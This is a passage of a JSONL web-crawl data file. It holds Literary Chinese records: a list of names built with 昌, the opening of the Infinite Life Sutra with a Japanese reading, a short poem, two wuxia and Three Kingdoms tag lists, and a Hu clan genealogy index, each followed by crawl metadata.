昌園 昌月 昌閱 昌在 昌展 昌湛 昌昭 昌臻 昌稹 昌直 昌摯 昌智 昌州 昌竹 昌築 昌專 昌棕 昌卮 昌胤 昌荏 昌菘 昌奕 昌岷 昌崧 昌嶙 昌淇 昌潼 昌濠 昌寮 昌迦 昌驿 昌骅 昌骥 昌珩 昌琦 昌琛 昌昙 昌歆 昌煊 昌箐 昌翎\n昌字結尾的名字\n敖昌 班昌 邦昌 苾昌 彪昌 彬昌 斌昌 彩昌 常昌 晨昌 闖昌 崇昌 春昌 得昌 笛昌 頂昌 動昌 铎昌 藩昌 釩昌 范昌 房昌 訪昌 崗昌 舸昌 貫昌 國昌 海昌 健昌 將昌 浩昌 基昌 霁昌 稷昌 堅昌 近昌 浚昌 康昌 臘昌 瀾昌 朗昌 浪昌 鐳昌 梨昌 俪昌 苓昌 羚昌 卿昌 翎昌 珞昌 曼昌 莽昌 茂昌 苗昌 浦昌 崎昌 啟昌 培昌 清昌 球昌 若昌 紹昌 設昌 晟昌 詩昌 強昌 術昌 爽昌 堂昌 籐昌 甜昌 鐵昌 挺昌 望昌 巍昌 祥昌 續昌 旋昌 雪昌 珣昌 研昌 堯昌 也昌 野昌 一昌 迎昌 湧昌 悠昌 魚昌 苑昌 悅昌 躍昌 振昌 峥昌 珠昌 唯昌 惟昌 細昌 險昌 乙昌 藝昌 翊昌 胤昌 茁昌 梓昌 安昌 豹昌 斌昌 冰昌 秉昌 玻昌 菠昌 策昌 測昌 昌昌 鈔昌 潮昌 澈昌 橙昌 程昌 承昌 熾昌 蟲昌 崇昌 傳昌 聰昌 骢昌 答昌 帶昌 島昌 道昌 德昌 笛昌 鼎昌 放昌 夫昌 皋昌 歌昌 根昌 鞏昌 桂昌 過昌 海昌 翰昌 鶴昌 虎昌 煥昌 集昌 及昌 甲昌 將昌 槳昌 錦昌 晉昌 靜昌 鏡昌 競昌 炬昌 郡昌 開昌 凱昌 肯昌 墾昌 逵昌 涞昌 藍昌 籃昌 琅昌 稜昌 黎昌 理昌 利昌 連昌 梁昌 列昌 嶺昌 龍昌 鋁昌 旅昌 萌昌 蒙昌 夢昌 苜昌 能昌 念昌 凝昌 歐昌 鷗昌 澎昌 票昌 湃昌 平昌 齊昌 企昌 千昌 青昌 卿昌 秋昌 泉昌 韌昌 镕昌 如昌 潤昌 紳昌 沈昌 聲昌 守昌 術昌 樹昌 巳昌 頌昌 宋昌 梭昌 圖昌 望昌 韋昌 維昌 偉昌 未昌 魏昌 尉昌 文昌 五昌 汐昌 習昌 橡昌 向昌 嘯昌 鋅昌 興昌 雄昌 修昌 許昌 緒昌 勳昌 諺昌 楊昌 瑤昌 野昌 冶昌 銥昌 易昌 邑昌 雍昌 詠昌 泳昌 有昌 友昌 渝昌 語昌 域昌 裕昌 轅昌 員昌 遠昌 越昌 雲昌 允昌 擇昌 樟昌 招昌 祯昌 蓁昌 證昌 直昌 執昌 智昌 質昌 忠昌 資昌 棕昌 左昌 丞昌 爻昌 胤昌 馗昌 懿昌 茆昌 荏昌 岑昌 岷昌 怡昌 泓昌 泾昌 淇昌 淅昌 漕昌 濡昌 驿昌 珈昌 玺昌 琨昌 琛昌 杞昌 枥昌 楠昌 轸昌 轼昌 昶昌 晔昌 晗昌 斐昌 砺昌 睿昌 箫昌","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.3322.online\/quming\/qmdq\/201612\/30420.html","date":"2022-07-07T16:10:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104495692.77\/warc\/CC-MAIN-20220707154329-20220707184329-00425.warc.gz","language":"lzh","language_score":0.6797199845,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6797199845314026, \"cmn_Hani_score\": 0.23478922247886658, \"nan_Hani_score\": 0.07646738737821579}","num_words":677,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.77,"perplexity_score":500.0,"cluster_detection":1} +{"text":"佛説無量壽經卷上\n曹魏天竺三藏康僧鎧譯\n我聞如是、一時佛、住王舎城 耆闍崛山中。與大比丘衆、万二千人倶。一切大聖、神通已達。其名曰 尊者了本際 尊者正願 尊者正語 尊者大號 尊者仁賢 尊者離垢 尊者名聞 尊者善實 尊者具足 尊者牛王 尊者優樓頻蠃迦葉 尊者伽耶迦葉 尊者那提迦葉 尊者摩訶迦葉 尊者舍利弗 尊者大目犍連 尊者劫賓那 尊者大住 尊者大淨志 尊者摩訶周那 尊者滿願子 尊者離障 尊者流潅 尊者堅伏 尊者面王 尊者果乘 尊者仁性 尊者嘉樂 尊者善來\n仏説無量寿経巻上\n曹魏天竺三蔵康僧鎧訳す\n我聞きたまえき\nかくのごとき。\n一時\n仏\n王舎城耆闍崛山の中に住したまいき。\n大比丘衆、万二千人と倶なりき。\n一切の大聖、神通すでに達せりき。\nその名をば、尊者了本際・尊者正願・尊者正語・尊者大号・尊者仁賢・尊者離垢・尊者名聞・尊者善実・尊者具足・尊者牛王・尊者優楼頻螺迦葉・尊者伽耶迦葉・尊者那提迦葉・尊者摩訶迦葉・尊者舎利弗・尊者大目犍連・尊者劫賓那・尊者大住・尊者大浄志・尊者摩訶周那・尊者満願子・尊者離障・尊者流潅・尊者堅伏・尊者面王・尊者異乗・尊者仁性・尊者嘉楽・尊者善来・尊者羅云・尊者阿難と曰いき。\nみな、かくのごとき上首たる者なり。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/seiten.icho.gr.jp\/html\/001.html","date":"2017-03-24T06:17:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187717.19\/warc\/CC-MAIN-20170322212947-00150-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4566575587,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4566575586795807, \"jpn_Jpan_score\": 0.3420238494873047, \"cmn_Hani_score\": 0.15536612272262573, \"wuu_Hani_score\": 0.028892844915390015, \"yue_Hani_score\": 0.016110394150018692}","num_words":44,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":500.0,"cluster_detection":1} +{"text":"月残兮风凄凄,花调兮未央之。朱砂兮染宣纸,曳烛兮独酌之。半帘卷兮,檀炉燃之。高轩宇兮,倚窗思之。 忽闻弦兮,心绪乱之。意难寄兮,归鸿无之。叹兮,哀之。\n寂寂梨花ღ淡淡其华✿ღ轻轻飘散ღ随风如画ღღღ✿\n寂寂梨花ღ静吐芳华✿ღ繁花似云ღ散落如雪ღღღ✿","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.sanwen8.cn\/subject\/1352591\/","date":"2020-02-24T05:13:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145897.19\/warc\/CC-MAIN-20200224040929-20200224070929-00411.warc.gz","language":"lzh","language_score":0.4230115116,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42301151156425476, \"cmn_Hani_score\": 0.38747674226760864, \"jpn_Jpan_score\": 0.07848159968852997, \"wuu_Hani_score\": 0.028349824249744415, \"zxx_Latn_score\": 0.016648024320602417}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.723,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n九難 嵩山派 周伯通 雌雄雙股劍 鍾繇 絕不低頭 炎元真氣 狄雲 狼牙 馬忠 奪命十三劍 完顏洪烈 王語嫣 靈犀一指 阿九 蘇荃 彩環曲 胡斐 玉女劍法 董卓討伐戰 九陽真經 大旗英雄傳 魏延 王異 臥龍 石亭之戰 七星龍王 界橋之戰 李莫愁 決戰前後 廖化 崆峒派 貂蟬 張無忌 孫尚香 夷陵之戰 不戒和尚 劉備 吳起 韓當 水雲袖法 白玉老虎 覆雨翻雲 竹節鞭 鐵騎快劍 天涯明月刀 鍾會之亂 于萬亭 華山論劍 陳近南 戚芳 官渡之戰 天龍八部 燕子三抄水 金輪法王 史火龍 碧血劍 心佛掌 馬超 折花百式 連城訣 于禁 隆中對 桃根仙 天心蓮環 古墓派 林平之 蝴蝶穿花七十二式 清風十三式 賭局 七傷拳 魅變術 楚留香傳奇 不碎金剛 空城計 燕子雙飛 十住大乘功 孫權 桃幹仙 公孫止 鍾會 水笙 大喬 夢姑 余魚同 九字真言手印 武當掌法 飛狐外傳 楊過 東洋神風刀法 大手印 梅花鉤 大唐雙龍傳 丁春秋 歡樂英雄 曹丕 夏侯淵 神蛛凌空銀絲渡虛 夏侯惇 燎原百擊 太虛錯手 法正 潼關之戰 七殺拳 八賢王 桃葉仙 刀劍雙殺七七四十九式 達摩手 嵩山十三太保 浣花洗劍錄 慈航劍典 瀟湘子 洪承疇 楚留香新傳之蝙蝠傳奇 伏虎神拳 伊達政宗 晉滅吳之戰 劉表 馬大元 益州之戰 郭芙 黃藥師 魏晉玄學 成昆 霓裳仙舞 丁奉 神君別傳 陽頂天 星际浪子 周泰 建安文學 文鴦 小鷹爪功 大意失荊州 紫霞神功 衛青 銅錘 魅影劍法 武林外史 大人物 玄鐵重劍 書劍恩仇錄 大開碑手 四大惡人 阿朱 荊楚爭雄記 王重陽 鬼魅潛蹤 丞相 玄鐵劍法 多情劍客無情劍 江南七怪 摘心手 菩提心功 九陽神功 曹爽專權 乾隆 青城派 天魅凝陰 刑遁術 湘妃劍 祝融 文泰來 楊頂天 枯榮大師 滿寵 鴛鴦刀 玩命拳 大武俠時代 合淝新城之戰 曹真 長河正氣 彼岸劍訣 任盈盈 黃忠 一燈大師 斷絕神功 呂玲綺 迎風一刀斬 碎金剛乘 金錢幫 海神 鳳天南 武田信玄 董允 儀琳 恆山派 情人箭 五虎斷門刀 連體心法 張遼 周芷若 上官鼎 黃皓專權 建寧公主 幻魔身法 碧血洗銀槍 大元丹法 徐天宏 張春華 鄧芝 儀琳 神龍教 典韋 慕容復 雲行雨飄 馬皇后 徐盛 華山派 射鵰三部曲 王平 伏魔劍法 就地十八滾 無想奼女大法 黃蓋 暴雨梨花釘 東興之戰 空綁術 曹操討伐袁術之戰 破碎虚空 崑崙派 桃枝仙 天一掌 花間十二支 豔陽刃法 黃祖 梅花鉤 太史慈 韋一笑 江夏戰神 牛郎一百零八棍 易京之戰 梁羽生 日月神教 呂壹專權 任我行 銀龍手 壽春馳援 袁承志 大地飛鷹 三十六招鳥啄擊法 關索 武三通 司馬昭弒君 金庸 無想十法 姑蘇慕容 韋春花 金蛇郎君 毛玠 六脈神劍 溫瑞安 無念禪功 飛龍五式 龐統 左手刀法 范遙 漢中之戰 丁不三 火併蕭十一郎 陸小鳳傳奇 蔣四根 劍客行 段譽 丞相,起風了 武夷派 穆念慈 紫血大法 內家橫練 荊州 金針開穴之法 白世鏡 天魔擊三大散招 風鈴中的刀聲 楊修 玉女媚術 一指頭禪 日月當空 無崖子 滿地開花八十—式 紅花會 屠龍刀 臥龍生 紫氣天羅 五帝鐧 司馬師 五絕神功 黑白子 辟邪劍法 孫堅 福康安 黑鬼爪 黃天大法 太極七截棍 刀白鳳 碧海潮生曲 木婉清 韋小寶 飛龍大九式 沉沙劍法 鐵脊蛇矛 劉禪 穿雲劍法 賈南風 楊逍 孟獲 亡神十八掌 五行劍法 周瑜 倚天劍 逍遙拆 長平公主 鰲拜 郭襄 披風杖法 迷蹤七變 沐劍屏 曹丕篡漢 阿青 屯田制 孫策 貝海石 馮錫范 索額圖 霍去病 裂馬槍 郭靖 林遠圖 滿天花雨 衛春華 瘋魔上天下地一百零七撃 小龍女 雙手互搏 銀雕 戰神圖錄 遊俠錄 倉亭之戰 劉備稱帝 蔣濟 掃地僧 仇國論 全真七子 道心種魔大法 天外飛仙 御盡萬法根源智經 羊祜 布衣神相 化石神功 楊成協 泰山派 九品中正制 太虛勁 蔣幹 九陰真經 曹休 九月鷹飛 風清揚 謝遜 太清元功 方天畫戟 葵花寶典 霍都 無塵道長 移花接玉 鐵蒺藜骨朵 雙修大法 衡山派 段正淳 方怡 挾天子 莫大先生 打狗棒法 王元姬 桃花島 金剛門 第六天魔王 君子劍 康敏 趙敏 誰來跟我乾杯 名劍風流 天魔大法 黃皓 羅憲 捨身大法 田伯光 荀彧 凝真九變 白狼山之戰 石中玉 合肥之戰 男人見不得 岳靈珊 七十二路分筋錯骨手 曹操攻徐州之戰 吳六奇 曹睿 殘金缺玉 定世鞭 天鷹教 孫曉 塌上策 姜維北伐 丹青生 空明拳 曹操迎天子 枯禪玄功 楊康 趙半山 常赫志 永安之戰 白馬嘯西風 驚魂六記 幻影劍法 九韶定音劍 曹操 玄慈 逍遙訣 吳國太 四大名捕 張飛 歐陽克 張召重 尋秦記 大圓滿杖法 月英 織女劍法 曹仁 余滄海 絕代雙驕 趙志敬 關銀屏 郭馬之亂 朱然 東興之戰 流星鎚 吸星大法 游坦之 張翼 滅神掌 飛鷹十三刺 蔣琬 赤壁之戰 三少爺的劍 七禽身法 換日大法 七流星 天地明環 劍玄錄 呂后 尉遲恭 九轉無相神功 韓小瑩 小昭 血海飄香 飛鶯飛鷹 青釭劍 龐德 高平陵之變 心硯 鹿鼎記 雷霆刀法 魯肅 五虎斷門刀 青龍偃月刀 蒼穹十三劍 破精自絕大法 程英 飛天狐狸 尹克西 地煞拳 井中八法 吳三桂 風萍掌 程普 孫皓 少林三渡 歸辛樹 譙周 一扇十八搖 龍木島主 蒼穹神劍 瑛姑 五毒教 狂沙刀法 賈充 費禕 法顯 兵器譜 孫皓暴政 董卓 李元霸 奕劍術 尼摩星 蕭遠山 魏滅蜀之戰 岳不羣 楚留香新傳 夷陵之戰 魯有腳 呂母 降龍十八掌 博望坡之戰 喬鋒 練師 龍門鏢局 日月麗天大法 袁紫衣 夏姬 桃實仙 孫權建國 武當七俠 荀攸 神州奇俠 失魂引 胡昭 劍花煙雨江南 月異星邪 十二都天神功 摩尼教 大拍手 破蓮八著 馬岱 鄧艾 駱冰 李典 徐榮 司馬懿 裘千尺 奪命簪 蝶雙飛 流雲飛袖 楊儀 關羽 陸遜 吳應熊 倪匡 天魔心法 呂蒙 藏密智能書 笮融 掩月劍法 裘千仞 變天擊地大法 鮑三娘 紫微軟劍 藍鳳凰 張大春 蕭十一郎 閔柔 雪山飛狐 鷹變十三式 夏青青 黃權 流星蝴蝶劍 沖虛道長 柳絮劍法 街亭 德川家康 諸葛恪 星宿派 陸抗 鎖子縮骨功 淑女劍 東方不敗 傻姑 覆雨劍法 旋風十八矛 九轉還童 俠客行 青龍會 郭解 林朝英 小喬 白自在 白萬劍 周倉 武當派 歸魂十八爪 先天氣功 炎陽奇功 不死七幻 殭屍拳 樂進 達爾巴 黃鍾公 交阯之亂 伏養氣功 五毒神功 硃砂掌 汪劍通 五嶽劍派 關平 玄氣大法 金丹大法 梅超風 華山派 諸葛亮南征 獨孤九劍 少林神拳 碧落紅塵 禿筆翁 絕代雙驕角色列表 如意八打 逍遙派 羅漢伏虎拳 飛伏一百零八槍 孫策平江東之戰 凌統 諸葛亮 左冷禪 扭轉乾坤殺手劍 馬謖 仙門劍訣 曹丕伐吳 楚留香新傳之借屍還魂 勞德諾 歐陽鋒 挾刀揉手 起風了 郭嘉 邊荒傳說 英雄無淚 曹叡 流星鎚 定閒師太 峨嵋派 張角 一串鞭 軟蝟甲 呂布 蛤蟆功 彈指神通 死眷術 諸葛瞻 黃蓉 曹純 丁不四 烏金血劍 諸葛誕 海大富 幽灵山庄 菊花的刺 丐幫 飄香劍雨 袖裡乾坤 尉遲敬德 魏滅蜀之戰 桃谷六仙 飛刀,又見飛刀 樊城之戰 魅影身法 興勢之戰 南匈奴 陳宮 七种武器 天地明環 逆水寒 七殺手 鴛鴦腿 章進 萬物波動心法 沙影二十八劍 石清 諸葛亮北伐 金蛇劍 玉女素心劍法 許褚 公孫綠萼 李牧 血戰十式 鄭丰 宗預 劍毒梅香 華陀針 西蜀地形圖 朱子柳 石田三成 古龍 魔佛十式 桃花仙 白骨爪 三尸腦神丹 方證大師 李秋水 吳質 嫁衣神功 奼女心法 歸藏鞭 丈八蛇矛 天外流星 下邳之戰 寧中則 鍾靈 笑傲江湖 丁典 九玄大法 涼州軍劫天子 曾柔 令狐沖 古龍作品 嫁衣神功 虛竹 童子功十三太保橫練 奇功絕藝榜 血鸚鵡 子貴母死 張三丰 金絲綿掌 石破天 鳥渡術 降龍伏虎羅漢拳 翔鷹劍法 石雙英 鬼王鞭 合淝之戰 定逸師太 滅絕師太 二宮之爭 文醜 明珠 北冥神功 張郃 西陵之戰 怒劍狂花 殷離 楚留香新傳之新月傳奇 康熙 齊桓公 郭淮 梵我如一 天魔手七十二式 化骨綿掌 陳到 彭長老 聖火令 左慈 先天功 劍罡同流 鳩摩智 韋小寶 賈詡 急風十三刺 枯木神功 散手八撲 趙雲 龜息功 擒拿截脈法 護花鈴 曹洪 夏侯嬰 丹心術 雙兒 越女劍 飛燕七式 司馬昭 阿紫 神鵰俠侶 少林派 夏侯霸 一休 青松劍譜 的盧 袁紹 魔心連環 阿珂 孤星傳 關興 無相神功 圓月彎刀 徐晃 謝煙客 陳家洛 蕭逸 黯然銷魂掌 陸無雙 雙尖軟矛 呂布爭徐州 龍吟曲 程靈素 徐庶 慕容博 耶律齊 封天閉地 不死印法 邊城浪子 姜維 冷月寶刀 定靜師太 石亭之戰 甘寧 星彩 絕情谷 南皮之戰 合淝之戰 蔡文姬 蒼穹十三式 冰玄勁 霍青桐 丁璫 張三李四 凌波微步 常伯志 種玉大法 神刀斬 李廣 全真教 天山童姥 移玉大法 鬼火十三拍 張苞 洪七公 群狐 蕭摩訶 明玉功 白阿繡 甄姬 段正明 劍氣書香 壽春三叛 倚天屠龍記 回轉斧法三十式 橫煉罡","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2021-01-20T19:34:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703521987.71\/warc\/CC-MAIN-20210120182259-20210120212259-00298.warc.gz","language":"lzh","language_score":0.5900564194,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900564193725586, \"nan_Hani_score\": 0.25269660353660583, \"cmn_Hani_score\": 0.12174902856349945, \"yue_Hani_score\": 0.03296074643731117}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建立家谱,必须先到安徽胡氏宗亲网首页注册会员 家谱首页 家谱列表 世系列表 【五松】铜陵沸水胡氏宗谱—世系列表 代 门 全 A3 A4 树 启一公 昌一公 康公 援公 铨公 萻公 一山公 琼公 省一公 舜元公 佐公 棣公 旺公 若庸公 锵公 克兴公 天洪公 章四公 言公 端一公 得通公 昱公 永瀾公 思庆公 镏公 銏公 镜公 来卿公 應泽公 功魁公 心琼公 正谊公 正邦公 承堯公 世恩公 承宰公 世仰公 世望公 浏览器不支持嵌入式框架,或被配置为不显示嵌入式框架。","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.ahhszqw.com\/b\/jiapu\/sxlist.asp?jpid=72","date":"2023-05-28T09:56:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643663.27\/warc\/CC-MAIN-20230528083025-20230528113025-00406.warc.gz","language":"lzh","language_score":0.6858834028,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6858834028244019, \"cmn_Hani_score\": 0.1619550883769989, \"nan_Hani_score\": 0.14026984572410583}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.757,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n孟獲 江南七怪 兵器譜 明玉功 全真教 田伯光 諸葛恪 大人物 郭襄 程靈素 藍鳳凰 移花接玉 碧血洗銀槍 水笙 莫大先生 桃實仙 掃地僧 誰來跟我乾杯 夢姑 關索 二宮之爭 燎原百擊 楊康 蔣濟 冷月寶刀 全真七子 龐統 任盈盈 段正明 火併蕭十一郎 慈航劍典 倉亭之戰 謝煙客 歐陽克 地煞拳 逍遙拆 逍遙訣 周伯通 徐盛 黃權 黃皓專權 公孫綠萼 天心蓮環 定靜師太 李莫愁 林朝英 段正淳 華山派 烏金血劍 陽頂天 孫權 王重陽 五絕神功 少林三渡 胡斐 急風十三刺 鎖子縮骨功 郭芙 益州之戰 丁不四 嵩山十三太保 橫煉罡 曹仁 岳不羣 劉表 界橋之戰 玄鐵劍法 蒼穹十三劍 司馬昭 瀟湘子 回轉斧法三十式 曹爽專權 齊桓公 辟邪劍法 流星蝴蝶劍 凝真九變 飛燕七式 武夷派 周芷若 夏侯淵 青釭劍 白世鏡 達摩手 金剛門 常伯志 紫氣天羅 楊過 白狼山之戰 羅憲 沉沙劍法 康熙 黃天大法 天涯明月刀 七殺拳 于禁 夷陵之戰 諸葛亮 曹純 五毒神功 劍毒梅香 黃忠 章進 武當七俠 阿紫 周泰 吳國太 七种武器 關興 劍客行 魅影劍法 徐榮 大武俠時代 街亭 楚留香傳奇 滿地開花八十—式 賈南風 李牧 笮融 武田信玄 張翼 狄雲 少林派 余魚同 吳應熊 駱冰 明珠 軟蝟甲 失魂引 大手印 勞德諾 禿筆翁 擒拿截脈法 刀白鳳 衛青 荀攸 徐庶 越女劍 五帝鐧 張角 清風十三式 楊修 李秋水 流星鎚 大旗英雄傳 吸星大法 五行劍法 孫策 護花鈴 張三丰 六脈神劍 趙雲 飛鷹十三刺 石亭之戰 奪命十三劍 林遠圖 郭解 魔佛十式 華山論劍 梵我如一 絕不低頭 閔柔 炎元真氣 諸葛亮北伐 金錢幫 建安文學 李廣 鐵騎快劍 謝遜 鮑三娘 紅花會 歸藏鞭 蔣幹 韋小寶 劍氣書香 凌統 蕭摩訶 公孫止 就地十八滾 三少爺的劍 圓月彎刀 司馬昭弒君 趙半山 雙修大法 屠龍刀 覆雨劍法 毛玠 炎陽奇功 雙尖軟矛 岳靈珊 倪匡 桃幹仙 龍木島主 化石神功 許褚 桃枝仙 張飛 歐陽鋒 大開碑手 御盡萬法根源智經 丁春秋 七十二路分筋錯骨手 大地飛鷹 賈詡 青龍偃月刀 小龍女 南皮之戰 九韶定音劍 儀琳 東興之戰 下邳之戰 柳絮劍法 太極七截棍 吳起 月異星邪 滿寵 不死印法 三十六招鳥啄擊法 空明拳 魯肅 丹心術 變天擊地大法 木婉清 九轉還童 獨孤九劍 方天畫戟 梅花鉤 興勢之戰 甘寧 七星龍王 滿天花雨 張召重 陳宮 歸魂十八爪 九陽神功 日月神教 尉遲恭 左手刀法 倚天劍 鹿鼎記 日月麗天大法 夏侯惇 斷絕神功 馬岱 李元霸 穆念慈 鬼魅潛蹤 飛龍五式 寧中則 朱子柳 彩環曲 夷陵之戰 俠客行 空綁術 七禽身法 貝海石 曹操討伐袁術之戰 任我行 血鸚鵡 鍾會之亂 文醜 淑女劍 劍罡同流 余滄海 郭淮 幻影劍法 龍門鏢局 桃花島 王元姬 定逸師太 奪命簪 西蜀地形圖 邊荒傳說 王語嫣 張郃 沐劍屏 馬謖 移玉大法 郭靖 傻姑 天一掌 破碎虚空 決戰前後 孫皓 小鷹爪功 神刀斬 心硯 男人見不得 鴛鴦刀 左冷禪 瘋魔上天下地一百零七撃 一串鞭 慕容博 韓小瑩 韋小寶 洪承疇 司馬師 江夏戰神 關羽 第六天魔王 曹丕 賈充 典韋 黃皓 呂后 三尸腦神丹 霍青桐 怒劍狂花 雙手互搏 鍾靈 九轉無相神功 破蓮八著 曹操攻徐州之戰 鄧艾 西陵之戰 暴雨梨花釘 曹丕篡漢 武當掌法 王異 天外流星 石雙英 天魔大法 姑蘇慕容 尼摩星 尉遲敬德 名劍風流 碧落紅塵 日月當空 德川家康 無塵道長 絕代雙驕 笑傲江湖 絕代雙驕角色列表 阿青 銀雕 硃砂掌 金針開穴之法 白自在 天魅凝陰 仙門劍訣 伏魔劍法 菊花的刺 披風杖法 陸遜 文鴦 黑白子 鳳天南 鬼王鞭 阿朱 白骨爪 枯榮大師 楊成協 蔡文姬 戚芳 海神 黃藥師 尋秦記 程普 仇國論 孤星傳 呂布爭徐州 雷霆刀法 天魔擊三大散招 金絲綿掌 吳六奇 飛天狐狸 韋一笑 孫權建國 董卓 九字真言手印 馮錫范 血戰十式 太虛錯手 隆中對 旋風十八矛 玉女媚術 布衣神相 蔣四根 種玉大法 張春華 吳質 織女劍法 袖裡乾坤 紫微軟劍 嫁衣神功 魏延 福康安 九品中正制 晉滅吳之戰 馬忠 邊城浪子 合淝之戰 趙志敬 白馬嘯西風 迷蹤七變 楊逍 神鵰俠侶 金輪法王 衛春華 曹叡 周瑜 歡樂英雄 桃葉仙 衡山派 喬鋒 豔陽刃法 金庸 夏侯嬰 合淝之戰 九陽真經 風萍掌 無想十法 神龍教 無崖子 一指頭禪 大圓滿杖法 于萬亭 青龍會 袁紹 丞相 降龍伏虎羅漢拳 紫血大法 伏虎神拳 雲行雨飄 金蛇郎君 交阯之亂 鬼火十三拍 玩命拳 祝融 荊楚爭雄記 君子劍 青城派 徐晃 鍾繇 丈八蛇矛 楊儀 陸無雙 魅變術 范遙 先天氣功 丹青生 天山童姥 絕情谷 漢中之戰 摘心手 道心種魔大法 十二都天神功 徐天宏 一休 桃谷六仙 水雲袖法 馬皇后 周倉 孫曉 黃祖 丁不三 挾刀揉手 葵花寶典 呂壹專權 天外飛仙 海大富 建寧公主 董允 赤壁之戰 挾天子 裂馬槍 玉女素心劍法 王平 雪山飛狐 左慈 天龍八部 狼牙 換日大法 散手八撲 滅神掌 甄姬 合淝新城之戰 無想奼女大法 冰玄勁 覆雨翻雲 索額圖 幻魔身法 鰲拜 裘千尺 降龍十八掌 陳家洛 七傷拳 奼女心法 蒼穹十三式 陸小鳳傳奇 成昆 滅絕師太 彭長老 臥龍生 汪劍通 碧海潮生曲 孫堅 雙兒 魏滅蜀之戰 呂蒙 碧血劍 完顏洪烈 迎風一刀斬 長平公主 沙影二十八劍 內家橫練 黃蓉 華山派 殷離 李典 關平 連城訣 大喬 曹真 鄭丰 掩月劍法 趙敏 方怡 神州奇俠 虛竹 康敏 刑遁術 陳到 夏青青 丐幫 孫尚香 廖化 藏密智能書 丞相,起風了 伏養氣功 蕭十一郎 林平之 石中玉 黯然銷魂掌 孫策平江東之戰 黃鍾公 無相神功 天鷹教 花間十二支 夏侯霸 慕容復 星际浪子 碎金剛乘 飛龍大九式 東興之戰 逍遙派 塌上策 聖火令 段譽 金丹大法 武林外史 張無忌 化骨綿掌 達爾巴 嫁衣神功 天地明環 尹克西 飛伏一百零八槍 武三通 死眷術 潼關之戰 羊祜 高平陵之變 石清 呂布 四大惡人 銀龍手 亡神十八掌 凌波微步 溫瑞安 天魔心法 瑛姑 楚留香新傳之新月傳奇 桃花仙 呂玲綺 游坦之 五嶽劍派 魔心連環 五毒教 韓當 丁奉 阿九 儀琳 上官鼎 蝴蝶穿花七十二式 一扇十八搖 劍玄錄 朱然 風鈴中的刀聲 樊城之戰 魅影身法 曹丕伐吳 鷹變十三式 荀彧 扭轉乾坤殺手劍 梅超風 曹洪 大唐雙龍傳 幽灵山庄 青松劍譜 臥龍 張大春 蝶雙飛 荊州 九月鷹飛 先天功 少林神拳 梁羽生 月英 逆水寒 彈指神通 不碎金剛 白玉老虎 流星鎚 洪七公 霓裳仙舞 紫霞神功 連體心法 魯有腳 井中八法 古龍 歸辛樹 令狐沖 小昭 英雄無淚 黃蓋 霍都 九陰真經 打狗棒法 石破天 吳三桂 黑鬼爪 張遼 姜維 永安之戰 枯木神功 奕劍術 蒼穹神劍 博望坡之戰 姜維北伐 耶律齊 大拍手 沖虛道長 群狐 華陀針 天魔手七十二式 七殺手 捨身大法 小喬 銅錘 龐德 不死七幻 飄香劍雨 無念禪功 枯禪玄功 賭局 費禕 蔣琬 鳩摩智 曾柔 羅漢伏虎拳 伊達政宗 法正 武當派 梅花鉤 法顯 鴛鴦腿 陸抗 長河正氣 石田三成 龜息功 郭嘉 彼岸劍訣 合肥之戰 東洋神風刀法 星彩 董卓討伐戰 劍花煙雨江南 嵩山派 鳥渡術 玄慈 張三李四 張苞 星宿派 玄鐵重劍 子貴母死 壽春三叛 奇功絕藝榜 燕子雙飛 血海飄香 屯田制 楚留香新傳 楚留香新傳之借屍還魂 的盧 玉女劍法 折花百式 神君別傳 蘇荃 譙周 曹操 壽春馳援 胡昭 起風了 劉備 翔鷹劍法 崑崙派 泰山派 飛刀,又見飛刀 封天閉地 宗預 湘妃劍 浣花洗劍錄 定世鞭 殘金缺玉 太虛勁 書劍恩仇錄 七流星 石亭之戰 程英 練師 九難 劉備稱帝 八賢王 北冥神功 流雲飛袖 牛郎一百零八棍 諸葛誕 四大名捕 魏滅蜀之戰 東方不敗 丁典 五虎斷門刀 丁璫 袁紫衣 一燈大師 阿珂 峨嵋派 鐵脊蛇矛 定閒師太 司馬懿 鐵蒺藜骨朵 太史慈 龍吟曲 情人箭 飛鶯飛鷹 